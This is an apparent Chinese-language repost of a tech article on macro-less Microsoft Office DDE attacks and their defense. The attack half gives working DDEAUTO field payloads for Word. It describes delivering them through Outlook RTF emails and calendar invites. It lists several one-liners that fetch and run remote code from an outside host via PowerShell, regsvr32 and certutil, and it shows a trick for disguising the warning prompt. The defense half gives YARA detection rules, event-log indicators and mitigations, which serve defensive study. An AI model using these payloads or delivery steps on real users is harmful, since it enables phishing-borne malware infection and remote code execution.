閱讀982 返回首頁    go 阿裏雲 go 技術社區[雲棲]


微軟office DDE攻擊與防禦

前段時間來自Sensepost的Etienne Stalmans和Saif El-Sherei發表了一篇博客文章,介紹微軟 office在不需要宏情況下,使用DDE進行攻擊,由於宏攻擊已使用多年,並很多防護設備可檢測, DDE攻擊文章一發出來,受到很多人的關注,國內外的安全研究人員都在討論各種姿勢的利用。

什麼是DDE

動態數據交換(DDE),它是在Microsoft Windows操作係統中實現的客戶端/服務器通信方法,自1987年早期的Windows 2.0基於Windows Messaging,並使用其功能來啟動雙方之間的連接,服務器偵聽某些主題和消息,對其進行響應到客戶端並終止連接。

它被用於向諸如辦公產品和瀏覽器的應用程序發送參數,發送命令到shell -explorer-來創建開始菜單組和鏈接,並在不同的應用程序和服務之間進行集成。

Microsoft將DDE定義為允許應用程序共享數據的一組消息和準則。Microsoft文檔說明,應用程序可以使用DDE協議進行一次數據傳輸,以便應用程序在新數據可用時將更新發送給彼此。

DDE攻擊

MS word

新建一個Word文檔,通過Ctrl+F9添加一個域,輸入POC:

{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe" }

{ DDE c:\\windows\\system32\\cmd.exe "/k notepad.exe" }

根據Word中的安全設置,每當在Word文檔中執行DDE命令時,將顯示兩個警告

點擊播放 GIF/1160K

Outlook

由於Outlook使用Word作為其本機解析器,可以使用Microsoft Outlook RTF格式(RTF)格式化的電子郵件和日曆邀請在Microsoft Outlook中運行動態數據交換(DDE)攻擊。

(一)RTF

2.打開outlook,新建郵件,找到切換格式選項,選擇RTF後,在正文中插入一張圖片(在outlook 2013 2016需插入圖片),將WORD中的Payload粘貼在郵件正文中,當你複製Payload時,會彈出窗口,選擇"N"後,發送郵件。

3.當目標接收到,進行回複時,DDE攻擊代碼會執行。

約會邀請

經測試同版本相互發送發約會邀請,可以觸發payload,但outlook 2010給2013發,無法觸發payload。

2.打開outlook,約會邀請,將WORD中的Payload粘貼在約會邀請正文中,當你複製Payload到正文時,會彈出窗口,選擇"N"後,發送約會邀請。

3.每當用戶打開日曆查看自己的行程安排時,就會觸發Payload的執行:

Payload

CACTUSTORCH_DDEAUTO工具是xillwillx開發的DDE Payload生成腳本,以自動創建.vbs / .hta / .js有效載荷以在Microsoft Office文檔中使用

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "https://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js"

DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:https://willgenovese.com/hax/calc.sct scrobj.dll "

DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f https://willgenovese.com/hax/test.exe && test.exe"

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( https://willgenovese.com/hax/evil.ps1 );powershell -e $e "

窗口迷惑

在使用DDE攻擊時,會彈出窗口,需要用戶點擊。

從目前研究的結果來看,是無法取消彈出窗口的,但可以修改彈出的內容,看起來不是那麼可疑。

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe # " "sanr aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

DDE攻擊防護與檢測

檢測DDE

Yara規則

Nviso提供了如下的YARA規則來幫助我們檢測DDE

// YARA rules Office DDE

// NVISO 2017/10/10 - 2017/10/12

// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

rule Office_DDEAUTO_field {

strings:

$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/

condition:

$a

}

rule Office_DDE_field {

strings:

$a = /.+?b[Dd][Dd][Ee]b.+?/

condition:

$a

}

rule Office_OLE_DDEAUTO {

strings:

$a = /x13s*DDEAUTOb[^x14]+/ nocase

condition:

uint32be(0) == 0xD0CF11E0 and $a

}

rule Office_OLE_DDE {

strings:

$a = /x13s*DDEb[^x14]+/ nocase

condition:

uint32be(0) == 0xD0CF11E0 and $a

Win日誌檢測

在Windows事件查看器中的“應用程序和服務日誌”文件夾中的Microsoft Office警報項中,有一、個事件300.消息體包含文本“是否啟動應用程序 c:\windows\system32\cmd.exe?"

防禦DDE

由於微軟的回應是:這是一種專門設計的功能,他們不會對這項功能進行所謂的“漏洞修複”,那我們需要使用如下辦法來緩解攻擊

2.禁用Word中的“更新自動鏈接打開”選項。

3.0patch團隊出了dde的補丁,非微軟官方

https://0patch.blogspot.be/2017/10/0patching-office-dde-ddeauto.html

最後更新:2017-10-27 18:48:36

  上一篇:go 微軟買斷未來15年GE風力電廠能源:供應數據中心
  下一篇:go 微軟全球執行副總裁沈向洋:在人工智能最好的時代,尋求可能性比超前顧慮更關鍵